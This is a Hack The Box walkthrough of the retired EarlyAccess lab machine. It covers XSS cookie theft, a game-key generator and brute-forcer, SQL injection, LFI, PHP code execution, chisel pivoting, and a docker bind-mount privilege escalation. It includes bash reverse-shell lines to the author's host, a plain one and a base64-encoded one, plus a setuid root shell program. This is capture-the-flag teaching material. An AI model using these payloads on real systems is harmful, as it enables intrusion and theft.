17

EarlyAccess: Hack The Box Walkthrough

 2 years ago
source link: https://hackso.me/earlyaccess-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

EarlyAccess: Hack The Box Walkthrough

Bernie Lim

A security enthusiast. Likes cats.

14 Feb 2022

38 min read

0 Comments

This post documents the complete walkthrough of EarlyAccess, a retired vulnerable VM created by Chr0x6eOs, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

EarlyAccess is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.11.110 --rate=2000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-16 11:23:15 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.11.110
Discovered open port 80/tcp on 10.10.11.110
Discovered open port 443/tcp on 10.10.11.110

Nothing unusual. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80,443 -A --reason 10.10.11.110 -oN nmap.txt
...
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 e4:66:28:8e:d0:bd:f3:1d:f1:8d:44:e9:14:1d:9c:64 (RSA)
|   256 b3:a8:f4:49:7a:03:79:d3:5a:13:94:24:9b:6a:d1:bd (ECDSA)
|_  256 e9:aa:ae:59:4a:37:49:a6:5a:2a:32:1d:79:26:ed:bb (ED25519)
80/tcp  open  http     syn-ack ttl 62 Apache httpd 2.4.38
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to https://earlyaccess.htb/
443/tcp open  ssl/http syn-ack ttl 62 Apache httpd 2.4.38 ((Debian))
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: EarlyAccess
| ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Issuer: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-08-18T14:46:57
| Not valid after:  2022-08-18T14:46:57
| MD5:   cb8e e2a3 cfc9 b38e 36b8 3393 c8f5 d425
|_SHA-1: f884 fc2c 843f 4ce0 3c51 a06b cb8c 7b50 9c7d 0fc7
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1

I’d better map earlyaccess.htb to 10.10.11.110 in /etc/hosts. This is what the site looks like.

The site looks good!

Directory/File Enumeration

Let’s see what gobuster and SecList give.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -k -t 20 -e -x 'php' -u https://earlyaccess.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://earlyaccess.htb/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/17 03:26:35 Starting gobuster in directory enumeration mode
===============================================================
https://earlyaccess.htb/js                   (Status: 301) [Size: 317] [--> https://earlyaccess.htb/js/]
https://earlyaccess.htb/images               (Status: 301) [Size: 321] [--> https://earlyaccess.htb/images/]
https://earlyaccess.htb/admin                (Status: 302) [Size: 362] [--> https://earlyaccess.htb/login]
https://earlyaccess.htb/css                  (Status: 301) [Size: 318] [--> https://earlyaccess.htb/css/]
https://earlyaccess.htb/forum                (Status: 302) [Size: 362] [--> https://earlyaccess.htb/login]
https://earlyaccess.htb/contact              (Status: 302) [Size: 362] [--> https://earlyaccess.htb/login]
https://earlyaccess.htb/logout               (Status: 405) [Size: 825]
https://earlyaccess.htb/register             (Status: 200) [Size: 2902]
https://earlyaccess.htb/login                (Status: 200) [Size: 3026]

===============================================================
2021/09/17 03:27:07 Finished
===============================================================

Nothing much. Let’s register an account and see what happens.

Hmm, we are redirected to /forum.

XSS Vulnerability in the Profile Page

If we supply a XSS payload into the Name field in the Profile Information, and send a message to [email protected], we’ll be able to trigger a response from the Administrator.

Here’s the response captured in a netcat listener listening at 443/tcp.

Obviously we can’t see shit since it’s not a really a proper web server accompanied with a SSL certificate.

Python’s http.server + Stunnel

Well, Stunnel to the rescue! All we need to do is to wrap Stunnel around http.server to have a makeshift web server enabled with SSL. Stunnel will handle all the SSL stuff while http.server is freed up to display HTTP traffic in plaintext.

/etc/stunnel/stunnel.conf
[https]
accept = 443
connect = 127.0.0.1:80
cert = /etc/stunnel/stunnel.pem

Start the Stunnel service and http.server. Now, repeat the same steps above and you’ll see this in your http.server console.

There you have it, Administrator’s cookies!

XSRF-TOKEN=eyJpdiI6ImdFQUYra2cya2JoakhkRWtNZnpDWnc9PSIsInZhbHVlIjoiUnlTZTcrcWR4Tm5zT1lYY0F0Vnk1QSt0N0RGdW1WNmthb0x2UG9odFdWM3U2dG5HRG9wUklCQlRJUHBtZUFIelFhTm4wcFppYjNIbWtQZzFFOExXZk16dE03RTFjc1E4TUNyOTNpemRURHYwM2dIa1JrS2NXR0RjQytvV1NLVjMiLCJtYWMiOiJlNTRiMjk1Njk0NWYzZjFlOTA5MDlhNWYzYTlmM2UzYzU0NDllMjUzZWYwNDQ4NzcyMGRjMTAzNGJjOGU2MTcxIn0=
earlyaccess_session=eyJpdiI6IjJ0eVpKOVhoYm93OEpkMFA3WEJXRmc9PSIsInZhbHVlIjoiU2lGZ3VhTGd5YWQ2cFk1S081ODJNRG5ONlNZVnF1ZDBJaEp1MzRRcERJSjJsRWtva2FjaUJJQXZrbkFJNk9oU1cvZXhaMm1OVzdaaVlKODFBcVNQZFhlK3JBN1pybGNGZE5RN3JYT1FPTmp6Mjlxd0M3R2ZJTWF3NWhPV2dHaVciLCJtYWMiOiJlMTQyZTY3ZTdlMWQ5YThiOTU3NGFjM2U5NjZjZjU1Y2FjYjJiY2ZlNmZjNGZhOGIwZjYxZDdkZjU2MjZkNTQ1In0=

Replace your cookies with the Administrator’s cookies, refresh the browser and you are the Administrator.

Interestingly, two subdomains are exposed: dev.earlyaccess.htb and game.earlyaccess.htb. I’d better include them into /etc/hosts as well. Both sites appear to be powered by PHP. We’ll go to them later.

Offline Key-validator

The offline key-validator comes in the form of validate.py.

validator.py
#!/usr/bin/env python3
import sys
from re import match

class Key:
    key = ""
    magic_value = "XP" # Static (same on API)
    magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)

    def __init__(self, key:str, magic_num:int=346):
        self.key = key
        if magic_num != 0:
            self.magic_num = magic_num

    @staticmethod
    def info() -> str:
        return f"""
        # Game-Key validator #

        Can be used to quickly verify a user's game key, when the API is down (again).

        Keys look like the following:
        AAAAA-BBBBB-CCCC1-DDDDD-1234

        Usage: {sys.argv[0]} <game-key>"""

    def valid_format(self) -> bool:
        return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))

    def calc_cs(self) -> int:
        gs = self.key.split('-')[:-1]
        return sum([sum(bytearray(g.encode())) for g in gs])

    def g1_valid(self) -> bool:
        g1 = self.key.split('-')[0]
        r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
        if r != [221, 81, 145]:
            return False
        for v in g1[3:]:
            try:
                int(v)
            except:
                return False
        return len(set(g1)) == len(g1)

    def g2_valid(self) -> bool:
        g2 = self.key.split('-')[1]
        p1 = g2[::2]
        p2 = g2[1::2]
        return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))

    def g3_valid(self) -> bool:
        # TODO: Add mechanism to sync magic_num with API
        g3 = self.key.split('-')[2]
        if g3[0:2] == self.magic_value:
            return sum(bytearray(g3.encode())) == self.magic_num
        else:
            return False

    def g4_valid(self) -> bool:
        return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]

    def cs_valid(self) -> bool:
        cs = int(self.key.split('-')[-1])
        return self.calc_cs() == cs

    def check(self) -> bool:
        if not self.valid_format():
            print('Key format invalid!')
            return False
        if not self.g1_valid():
            return False
        if not self.g2_valid():
            return False
        if not self.g3_valid():
            return False
        if not self.g4_valid():
            return False
        if not self.cs_valid():
            print('[Critical] Checksum verification failed!')
            return False
        return True

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(Key.info())
        sys.exit(-1)
    input = sys.argv[1]
    validator = Key(input)
    if validator.check():
        print(f"Entered key is valid!")
    else:
        print(f"Entered key is invalid!")

The validator source code seems to suggest that magic_num will change every 30 minutes. Look at the format of g3 (/^XP[A-Z]{2}[0-9]$$/), it has a dependency on magic_value and magic_num and it’s not difficult to determine the range of magic_num’s. The first two characters are fixed at XP and the last character must be a digit. Therefore we have a range of XPAA0 (346) to XPZZ9 (405).

Armed with this insight I wrote the following key generator script, with a magic_num as argument.

generate.py
from re import match
import random
import string
import sys

charset = string.ascii_uppercase + string.digits
magic_value = "XP"
magic_num = int(sys.argv[1])

def valid(valid):
    for c in charset:
        i, v = valid
        r = (ord(c) << i+1) % 256 ^ ord(c)
        if r == v:
            return c


def g1_valid():
    g1 = ''
    g1 += valid((0,221))
    g1 += valid((1,81))
    g1 += valid((2,145))
    g1 += string.digits[0]
    g1 += random.choice(string.digits[1:])
    return g1


def g2_valid():
    p1_0 = random.choice(string.digits)
    p1_1 = random.choice(string.digits)
    p1_2 = random.choice(string.digits)
    p1 = p1_0 + p1_1 + p1_2
    p2_0 = chr(ord(random.choice(string.ascii_uppercase)))
    p2_1 = chr(sum(bytearray(p1.encode())) - ord(p2_0))
    if p2_1 in charset:
        g2 = []
        g2.append(p1_0)
        g2.append(p2_0)
        g2.append(p1_1)
        g2.append(p2_1)
        g2.append(p1_2)
        return ''.join(g2)
    else:
        return "0A0O0" # known good


def g3_valid():
    for d in range(10):
        r = magic_num - sum(bytearray(magic_value.encode())) - ord(str(d))
        p1 = chr(r//2)
        p2 = chr(r - ord(p1))
        if p1 in string.ascii_uppercase and p2 in string.ascii_uppercase:
            return magic_value + p1 + p2 + str(d)


g1 = g1_valid()
g2 = g2_valid()
g3 = g3_valid()

def g4_valid():
    key = [12, 4, 20, 117, 0]
    r = bytearray([i ^ ord(g) for g, i in zip(g1, key)]).decode()
    if match(r"^[A-Z0-9]{5}$", r):
        return r


g4 = g4_valid()
gs = [g1, g2, g3, g4]

def checksum():
    return str(sum([sum(bytearray(g.encode())) for g in gs]))


key = gs
key.append(checksum())
print('-'.join(key))

Using the script we can generate a key for each magic_num in the range of 346 to 405—60 keys to be exact.

Subsequently I wrote another brute-force script to determine the current active magic_num. The brute-force script accepts two arguments, the magic_num as the key and the game key as the value. If the submitted game key is “successfully added” into the account, we know the magic_num is active. I’ve added rate-limiting detection (429 Too Many Requests) and will pause for Retry-After seconds.

brute.py
import requests
import sys
import time
import urllib3
from bs4 import BeautifulSoup as bs

# supppress warnings
urllib3.disable_warnings()

email = "[email protected]"
password = "dipshit123"
host = "https://earlyaccess.htb/"

magic_num = sys.argv[1]
gamekey = sys.argv[2]

s = requests.Session()
r = s.get(host + 'login', verify=False)
soup = bs(r.text, "lxml")
token = soup.find("input", type="hidden")

data = { "_token": token["value"], "email": email, "password": password }
r = s.post(host + "login", data=data, verify=False)
if r.status_code == 429:
    time.sleep(int(r.headers["retry-after"]))

r = s.get(host + "key", verify=False)
soup = bs(r.text, "lxml")
token = soup.find("input", type="hidden")

data = { "_token": token["value"], "key": gamekey }
r = s.post(host + "key/add", data=data, verify=False)

if "successfully added" in r.text:
    print("magic_num: %s, game_key: %s" % (magic_num, gamekey))

Coupled with GNU Parallel, and wrapping brute.py in a shell script you get a poor man’s version of a multi-threaded brute-forcer.

brute.sh
#!/bin/bash

MAGIC_NUM=$1
GAME_KEY=$2

function die() {
    killall perl 2>/dev/null
}

if python3 brute.py $MAGIC_NUM $GAME_KEY | grep -E '^magic'; then
    die
fi

Once you’ve registered your Game-Key to your account, you’ll see the link to game.earlyaccess.htb like so.

EarlyAccess Game

Log in with your account credentials registered earlier.

I’m pretty sure game.earlyaccess.htb is running PHP.

Directory/File Enumeration 2

Let’s see what gobuster and SecLists say about game.earlyaccess.htb.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b" -t 20 -e -x 'php,txt' -u http://game.earlyaccess.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://game.earlyaccess.htb/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] Cookies:                 PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/18 12:29:10 Starting gobuster in directory enumeration mode
===============================================================
http://game.earlyaccess.htb/assets               (Status: 301) [Size: 329] [--> http://game.earlyaccess.htb/assets/]
http://game.earlyaccess.htb/index.php            (Status: 302) [Size: 2709] [--> /game.php]
http://game.earlyaccess.htb/includes             (Status: 301) [Size: 331] [--> http://game.earlyaccess.htb/includes/]
http://game.earlyaccess.htb/actions              (Status: 301) [Size: 330] [--> http://game.earlyaccess.htb/actions/]
http://game.earlyaccess.htb/game.php             (Status: 200) [Size: 7016]
http://game.earlyaccess.htb/server-status        (Status: 403) [Size: 285]
http://game.earlyaccess.htb/scoreboard.php       (Status: 200) [Size: 6290]
http://game.earlyaccess.htb/leaderboard.php      (Status: 200) [Size: 6049]

===============================================================
2021/09/18 12:29:39 Finished
===============================================================

/actions looks interesting. Let’s dig deeper.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b" -t 20 -e -x 'php,txt' -u http://game.earlyaccess.htb/actions/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://game.earlyaccess.htb/actions/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] Cookies:                 PHPSESSID=eb8eb585a601d108612638e0c7e7ca1b
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/18 12:41:36 Starting gobuster in directory enumeration mode
===============================================================
http://game.earlyaccess.htb/actions/logout.php           (Status: 302) [Size: 0] [--> /game.php]
http://game.earlyaccess.htb/actions/login.php            (Status: 200) [Size: 0]
http://game.earlyaccess.htb/actions/score.php            (Status: 302) [Size: 0] [--> /game.php]

===============================================================
2021/09/18 12:42:03 Finished
===============================================================

SQLi Vulnerability in the Profile Page

Turns out that there’s a SQLi vulnerability in the profile page as well. How do I know this? When I browse to http://game.earlyaccess.htb/actions/score.php?score=-1, I’m greeted with the following.

The only problem now is I don’t know where the injection point is. It’s only when I change my profile name from starlord to groot and look at the game’s scoreboard I realize the injection point is at the profile name in the profile page.

Smells like a classic UNION SQLi to me!

Wait a minute! Administrator’s password is gameover??!! A brute-force could have given me the same answer. :angry:

EarlyAccess Dev

Use the password to log in to dev.earlyaccess.htb.

Directory/File Enumeration 3

Let’s see what gobuster and SecLists say about dev.earlyaccess.htb.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=20b96a7d687eb536e5d8fa359d34397f" -t 20 -e -x 'php,txt' -u http://dev.earlyaccess.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.earlyaccess.htb/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] Cookies:                 PHPSESSID=20b96a7d687eb536e5d8fa359d34397f
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/18 14:26:30 Starting gobuster in directory enumeration mode
===============================================================
http://dev.earlyaccess.htb/assets               (Status: 301) [Size: 327] [--> http://dev.earlyaccess.htb/assets/]
http://dev.earlyaccess.htb/home.php             (Status: 200) [Size: 4426]
http://dev.earlyaccess.htb/index.php            (Status: 302) [Size: 2685] [--> /home.php]
http://dev.earlyaccess.htb/includes             (Status: 301) [Size: 329] [--> http://dev.earlyaccess.htb/includes/]
http://dev.earlyaccess.htb/actions              (Status: 301) [Size: 328] [--> http://dev.earlyaccess.htb/actions/]
http://dev.earlyaccess.htb/server-status        (Status: 403) [Size: 284]

===============================================================
2021/09/18 14:26:54 Finished
===============================================================

/actions looks interesting. Let’s dig deeper.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -c "PHPSESSID=20b96a7d687eb536e5d8fa359d34397f" -t 20 -e -x 'php,txt' -u http://dev.earlyaccess.htb/actions/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.earlyaccess.htb/actions/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes:   404
[+] Cookies:                 PHPSESSID=20b96a7d687eb536e5d8fa359d34397f
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/19 04:45:36 Starting gobuster in directory enumeration mode
===============================================================
http://dev.earlyaccess.htb/actions/logout.php           (Status: 302) [Size: 0] [--> /home.php]
http://dev.earlyaccess.htb/actions/login.php            (Status: 302) [Size: 0] [--> /index.php]
http://dev.earlyaccess.htb/actions/file.php             (Status: 500) [Size: 35] [--> /index.php]

===============================================================
2021/09/19 04:46:41 Finished
===============================================================

/file.php sure looks interesting. Let’s wfuzz it with Burp’s parameter wordlist from SecLists.

wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b "PHPSESSID=7b402584489257d1c6c71da68b961d16" --hh 35 http://dev.earlyaccess.htb/actions/file.php?FUZZ=/etc/passwd
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://dev.earlyaccess.htb/actions/file.php?FUZZ=/etc/passwd
Total requests: 2588

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001316:   500        0 L      10 W       89 Ch       "filepath"

Total time: 7.624681
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 339.4240

If I had to guess, I would say that we have a LFI vulnerability in file.php. But the question is, what file should we read? The file /actions/hash.php used in Hashing-Tools looks like a good candidate.

http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=./hash.php

The file hash.php is base64-decoded to the following.

<?php
include_once "../includes/session.php";

function hash_pw($hash_function, $password)
{
    // DEVELOPER-NOTE: There has gotta be an easier way...
    ob_start();
    // Use inputted hash_function to hash password
    $hash = @$hash_function($password);
    ob_end_clean();
    return $hash;
}

try
{
    if(isset($_REQUEST['action']))
    {
        if($_REQUEST['action'] === "verify")
        {
            // VERIFIES $password AGAINST $hash

            if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
            {
                // Only allow custom hashes, if `debug` is set
                if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
                    throw new Exception("Only MD5 and SHA1 are currently supported!");

                $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);

                $_SESSION['verify'] = ($hash === $_REQUEST['hash']);
                header('Location: /home.php?tool=hashing');
                return;
            }
        }
        elseif($_REQUEST['action'] === "verify_file")
        {
            //TODO: IMPLEMENT FILE VERIFICATION
        }
        elseif($_REQUEST['action'] === "hash_file")
        {
            //TODO: IMPLEMENT FILE-HASHING
        }
        elseif($_REQUEST['action'] === "hash")
        {
            // HASHES $password USING $hash_function

            if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
            {
                // Only allow custom hashes, if `debug` is set
                if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
                    throw new Exception("Only MD5 and SHA1 are currently supported!");

                $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
                if(!isset($_REQUEST['redirect']))
                {
                    echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
                    echo '<br>' . $hash;
                    return;
                }
                else
                {
                    $_SESSION['hash'] = $hash;
                    header('Location: /home.php?tool=hashing');
                    return;
                }
            }
        }
    }
    // Action not set, ignore
    throw new Exception("");
}
catch(Exception $ex)
{
    if($ex->getMessage() !== "")
        $_SESSION['error'] = htmlentities($ex->getMessage());

    header('Location: /home.php');
    return;
}
?>

Interesting. If you include a debug parameter, you’ll be able to run PHP code where hash_function is the PHP function and password is the argument to the PHP function. For example: running shell_exec("id").

Foothold

Armed with this insight, we can run a reverse shell back to us like so.

Where YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44OS8xMjM0IDA+JjEK is the base64-encoded string of bash -i >& /dev/tcp/10.10.14.84/1234 0>&1.

You should see this in your netcat listener.

Web Server

The bad news is that I’m in a docker container—webserver.

The good news is I have the password to www-adm in webserver.

It’s gameover!

During enumeration of www-adm’s account, I notice another set of credentials in .wgetrc.

That means that we have other docker containers!

MySQL

Game-Key Verification API

I transferred chisel over to webserver and forwarded the traffic to 172.18.0.101:5000 to me like so.

On my machine

chisel server -p 8888 --reverse

On webserver

chisel client 10.10.14.89:8888 R:5000:172.18.0.101:5000 &

Using the credentials uncovered above, I was able to access /check_db and make use of the browser’s built-in JSON parser to discover more credentials.

We have a new user drew and password XeoNu86JTznxMCQuGHrGutF3Csq5. Knowing the difficulty of this machine, I’m pretty sure that is not root’s password. Coud it be drew’s password?

Awesome. The file user.txt is in drew’s home directory.

Privilege Escalation

During enumeration of drew’s account, I notice the following pair of SSH keys to game-server belonging to game-tester.

There’s also another network bridge at 172.19.0.0/16.

It doesn’t take me long to find the docker container IP address in the other bridge.

Game Server

172.19.0.3 is indeed game-server.

Writable directory between host and container

During enumeration of game-tester’s account, I notice a familiar-looking directory /docker-entrypoint.d I thought I’ve seen it somewhere. Heading back to drew’s shell I notice a directory with the exact same name.

On top of that, drew has write permissions! If I had to guess, I would say that I’m looking at a container (game-server) that started with a bind mount. If I have root access on game-server, I can create an executable with the SUID-bit set and place it in docker-entrypoint.d. drew can then run it to make him root. The problem is, how do I become root in game-server?

Rock v0.0.1

Now game-server is hosting the game at localhost port 9999/tcp. Let’s track the creation and destruction of game-server from where it all began—/entrypoint.sh

What’s in /docker-entrypoint.d/node-server.sh?

What’s in /usr/src/app/server.js?

'use strict';

var express = require('express');
var ip = require('ip');

const PORT = 9999;
var rounds = 3;

// App
var app = express();
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));

/**
 * https://stackoverflow.com/a/1527820
 *
 * Returns a random integer between min (inclusive) and max (inclusive).
 * The value is no lower than min (or the next integer greater than min
 * if min isn't an integer) and no greater than max (or the next integer
 * lower than max if max isn't an integer).
 * Using Math.round() will give you a non-uniform distribution!
 */
function random(min, max) {
  min = Math.ceil(min);
  max = Math.floor(max);
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

/**
 * https://stackoverflow.com/a/11377331
 *
 * Returns result of game (randomly determined)
 *
 */
function play(player = -1)
{
  // Random numbers to determine win
  if (player == -1)
    player = random(1, 3);
  var computer = random(1, 3);

  if (player == computer) return 'tie';
  else if ((player - computer + 3) % 3 == 1) return 'win';
  else return 'loss';
}

app.get('/', (req, res) => {
  res.render('index');
});

app.get('/autoplay', (req,res) => {
  res.render('autoplay');
});

app.get('/rock', (req,res) => {
  res.render('index', {result:play(1)});
});

app.get('/paper', (req,res) => {
  res.render('index', {result:play(2)});
});

app.get('/scissors', (req,res) => {
  res.render('index', {result:play(3)});
});

app.post('/autoplay', async function autoplay(req,res) {

  // Stop execution if not number
  if (isNaN(req.body.rounds))
  {
    res.sendStatus(500);
    return;
  }
  // Stop execution if too many rounds are specified (performance issues may occur otherwise)
  if (req.body.rounds > 100)
  {
    res.sendStatus(500);
    return;
  }

  rounds = req.body.rounds;

  res.write('<html><body>')
  res.write('<h1>Starting autoplay with ' + rounds + ' rounds</h1>');

  var counter = 0;
  var rounds_ = rounds;
  var wins = 0;
  var losses = 0;
  var ties = 0;

  while(rounds != 0)
  {
    counter++;
    var result = play();
    if(req.body.verbose)
    {
      res.write('<p><h3>Playing round: ' + counter + '</h3>\n');
      res.write('Outcome of round: ' + result + '</p>\n');
    }
    if (result == "win")
      wins++;
    else if(result == "loss")
      losses++;
    else
      ties++;

    // Decrease round
    rounds = rounds - 1;
  }
  rounds = rounds_;

  res.write('<h4>Stats:</h4>')
  res.write('<p>Wins: ' + wins + '</p>')
  res.write('<p>Losses: ' + losses + '</p>')
  res.write('<p>Ties: ' + ties + '</p>')
  res.write('<a href="/autoplay">Go back</a></body></html>')
  res.end()
});

app.listen(PORT, "0.0.0.0");

This is what the game looks like.

Looks like it’s really easy to crash the game. And apparently if we have a executable shell script in docker-entrypoint.d in addition to node-server.sh at the time of game-server’s recreation, assuming there’s one, we can get ourselves a root shell in game-server. It appears that the creator took pains to remove anything in docker-entrypoint.d every minute on the minute. We could defeat that with a while loop like so.

 while :; do echo -en '#!/bin/bash\n\nbash -c "bash -i >& /dev/tcp/10.10.14.89/4321 0>&1"\n' > x; chmod +x x; done 2>/dev/null

Crashing the Rock

Meanwhile we just need a number with decimal point to crash the game.

There you have it.

Getting the prize

I’m pleasantly surprised to find gcc in game-server.

That means I can do something like this.

echo -en '#include <stdlib.h>\n#include <unistd.h>\n\nvoid main() {\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}\n' > pwn.c
gcc -o pwn pwn.c
cp pwn /docker-entrypoint.d
chmod +u+s+g+s /docker-entrypoint.d/pwn

I’m root in earlyaccess y’all.

Getting root.txt with a root shell is a breeze.

:dancer:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK